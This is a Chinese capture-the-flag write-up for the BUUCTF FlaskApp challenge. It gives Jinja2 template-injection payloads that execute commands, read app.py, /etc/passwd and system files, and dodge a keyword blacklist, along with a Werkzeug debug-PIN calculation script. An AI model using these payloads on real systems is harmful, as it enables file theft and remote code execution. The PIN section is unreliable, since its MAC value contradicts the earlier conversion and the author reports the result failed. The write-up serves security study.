BUUCTF [GYCTF2020]FlaskApp

发布时间 2023-09-08 11:29:59作者: Amsterdamnit

因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。
考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。

直接报错抛出debug信息,看来是开启了debug模式。

payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。

方法1

首先想办法把完整的app.py读出来。
参考Templates Injections的payload
方便阅读把它换行了

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}

修改成

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

最后合并成一行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到app.py的源码,审一下发现waf:

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19

['bin', 'boot', 'dev', 'etc', 
'home', 'lib', 'lib64', 'media', 
'mnt', 'opt', 'proc', 'root', 
'run', 'sbin', 'srv', 'sys', 
'tmp', 'usr', 'var', '
this_is_the_flag.txt', '.dockerenv', 'app']

再读一下flag:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}

方法2-利用PIN码进行RCE

通过PIN码生成机制可知,需要获取如下信息:

  • 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb或者root,此处用的flaskweb
  • modname。一般不变就是flask.app
  • getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
  • flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  • 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436
  • 机器的id:对于非docker机每一个机器都会有自已唯一的id
  • Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
    docker:/proc/self/cgroup

首先,服务器运行flask所登录的用户名:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
或
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

得到

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh 

应该是flaskweb

其次,获得mac地址:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到1e:eb:d7:36:97:1e转十进制,得到33998276826910

接着,获取机器id:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

得到

12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope 
8:rdma:/ 
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope 

也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7
计算pin代码如下:

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服务器运行flask所登录的用户名
    'flask.app',#modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
    '756572715513436',#当前网络的mac地址的十进制数
    'cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

得到298-674-256(不对,不知道咋回事)




参考链接:
PayloadsAllTheThings
https://blog.csdn.net/Alexhcf/article/details/108400293
https://blog.csdn.net/rfrder/article/details/110240245